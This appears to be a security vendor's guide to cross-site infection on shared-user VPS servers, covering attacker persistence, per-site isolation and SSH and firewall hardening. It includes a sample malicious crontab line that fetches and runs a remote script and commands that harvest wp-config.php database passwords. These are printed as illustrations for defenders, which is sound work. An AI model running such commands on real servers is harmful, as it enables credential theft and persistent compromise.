Key takeaways
- On many VPS servers, every site runs as the same Linux user, so one compromised site can write to all the others.
- Attackers read every wp-config.php on the server to collect database passwords and spread quickly.
- Server-level persistence such as cron jobs, systemd services and fake binaries survives website clean-ups.
- Isolation (one user and PHP pool per site), SSH hardening and a firewall stop one infection becoming many.
- Clean every site on the server together, then scan the operating system, or the infection will return.
Why does one hacked site infect the rest of a VPS?
One hacked site infects the rest of a VPS because, on most servers, every site runs as the same Linux user with the same file permissions. Malware running in one site can therefore read, write and execute files in all of them, collect every database password from their configuration files, and plant backdoors across the whole server within minutes.
This is the single most common reason we see agencies and businesses stuck in a cycle of re-infection. They clean the site that showed symptoms, perhaps the one Google flagged or a customer complained about, and a few days later it is infected again. The malware never left; it was sitting in a forgotten staging site, an old campaign microsite or a neighbouring client's install, and it simply copied itself back.
A VPS gives you more control than shared hosting, but many are set up for convenience rather than separation. Control panels, one-click installers and quick manual set-ups often place every site under www-data or a single account user. That is fine until one site is compromised. Then it becomes a shared problem.
Shared database logins make it worse. We often find several sites using the same MySQL user, or even the root database account, in their wp-config.php files. An attacker who reads one configuration file can then modify every database on the server: adding administrator accounts, injecting scripts into posts and changing site URLs to redirect visitors. No file on the other sites needs to be touched for them to be compromised.
How do attackers move between sites on a server?
Attackers move between sites on a server by using the access one webshell gives them: they list every web root, read each wp-config.php for database credentials, copy shells into other sites' folders, inject code into shared files and create scheduled tasks. If any site runs with elevated permissions, they may reach the operating system itself.
This is what that looks like from inside a compromised site where every site shares a user:
# Running as the shared web user from inside one compromised site
whoami
www-data
# Every other site is writable by the same user
ls -ld /var/www/*/
drwxr-xr-x www-data www-data /var/www/acme-shop.co.uk/
drwxr-xr-x www-data www-data /var/www/example.co.uk/
drwxr-xr-x www-data www-data /var/www/staging.example.co.uk/
# Every database password is readable
grep DB_PASSWORD /var/www/*/wp-config.php
From there, the usual next steps are hidden admin users in each site's database, webshells in each uploads folder and a crontab entry that restores anything that is removed. On servers where the attacker gains root, we also see reverse shells, rogue VPN nodes such as unauthorised Tailscale clients, systemd services and replaced system binaries.
If you find the same malware in more than one site, treat the whole server as compromised. Cleaning sites one at a time will not work.
What is server-level persistence?
Server-level persistence is malware that lives in the operating system rather than in a website, so it survives when website files are cleaned. Common forms are cron jobs that re-download malware every minute, systemd services that start a backdoor at boot, reverse shells, rogue users and SSH keys, and fake system binaries named to look legitimate.
| Persistence method | Where to check |
|---|---|
| Cron re-download loops | crontab -l for each user, /etc/cron.*, /var/spool/cron |
| systemd services | systemctl list-units --type=service, /etc/systemd/system |
| Reverse shells (e.g. gsocket) | ps auxf, ss -tp for unexpected outbound connections |
| Rogue VPN nodes | Unexpected Tailscale or WireGuard interfaces, ip addr |
| Rogue users and keys | /etc/passwd, every ~/.ssh/authorized_keys |
| Fake binaries | Package verification (debsums or rpm -Va), odd files in /usr/bin or /tmp |
A typical re-download loop looks like this in a user's crontab:
* * * * * curl -fsSL http://198.51.100.23/u.sh | sh >/dev/null 2>&1
0 3 * * * /usr/local/bin/wp-backup.sh
The first line fetches and runs a script every minute, re-infecting the server faster than anyone can clean it by hand. Our guide on why malware keeps coming back covers these in more detail.
Security triage
Is your site showing any of this?
Tell us what you’re seeing in two minutes and we’ll tell you what it means and what to do next. Hacked right now? Get emergency help.
How do you isolate sites on a VPS?
Isolate sites on a VPS by giving each one its own Linux user, its own PHP-FPM pool running as that user, its own database user with access only to its own database, and file permissions that stop other users reading its files. That way, a compromise in one site is contained to that site and cannot spread.
- One user per site. Create a dedicated system user and make it the owner of that site's files.
- One PHP-FPM pool per site. Run each pool as its site's user so PHP code can only touch its own files.
- Restrictive permissions. Stop other users reading each site's home directory, and make
wp-config.phpreadable only by its owner. - Separate database users. Grant each site's database user rights on one database only.
- Remove old sites. Delete staging, test and abandoned sites, or move them to a separate server.
Panels such as CloudPanel and cPanel with suitable settings can do much of this for you. See our cPanel and CloudPanel clean-up guide for panel-specific advice.
Tip: isolation limits damage but does not prevent the first compromise. Combine it with prompt updates and server-side scanning.
How do you harden a VPS against attack?
Harden a VPS by restricting who can log in and how, closing every port you do not need, keeping the operating system and software patched, blocking PHP execution where it is not needed and watching for changes. SSH key authentication, a default-deny firewall and automatic security updates remove most of the easy routes attackers rely on.
- Use SSH keys only and disable password authentication.
- Disable direct root login over SSH; use a named user with sudo.
- Run a default-deny firewall that allows only the ports you need, typically 22, 80 and 443.
- Enable automatic security updates for the operating system.
- Block PHP execution in upload directories for every site.
- Remove unused services, users and control panel add-ons.
- Monitor cron, systemd, users and listening ports for changes.
Key SSH settings live in /etc/ssh/sshd_config:
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
MaxAuthTries 3
Change the SSH port if you like, as it reduces log noise, but do not rely on it as a security control. Automated scanners find non-standard ports quickly; keys, firewalls and patching are what actually keep attackers out. Tools that ban repeated failed logins add a useful extra layer against brute-force attempts.
Test a new SSH session before closing your existing one, so a mistake does not lock you out. PatientZero's Harden playbooks apply these settings consistently and record every change in the Activity log.
Frequently asked questions
Is a VPS more secure than shared hosting?
A VPS can be more secure because you control its configuration, but only if you use that control. A VPS with every site under one user, password SSH logins and no firewall can be less secure than good managed shared hosting. Isolation, hardening and monitoring are what make the difference.
Do I need to clean every site if only one is infected?
You need to scan every site. If they share a user or have writable permissions between them, assume they could be infected even if they look fine. Malware frequently hides in the site nobody checks, such as a staging copy, and re-infects the others after a clean-up.
Should I rebuild the server instead of cleaning it?
If there is evidence of root-level compromise, such as replaced system binaries, rogue system users or kernel-level tampering, a clean rebuild with verified site data is often the safest option. For site-level or user-level infections, a thorough clean-up plus hardening is normally sufficient. Fair use applies to full server rebuilds on our plans.
What access does PatientZero need to scan a VPS?
The platform connects over SSH and deploys its scan engine to /opt/patient-zero/scan-engine on your server. From there it scans every site, the database layer and operating system persistence points such as cron and systemd, then reports findings and applies fixes and hardening that you can review.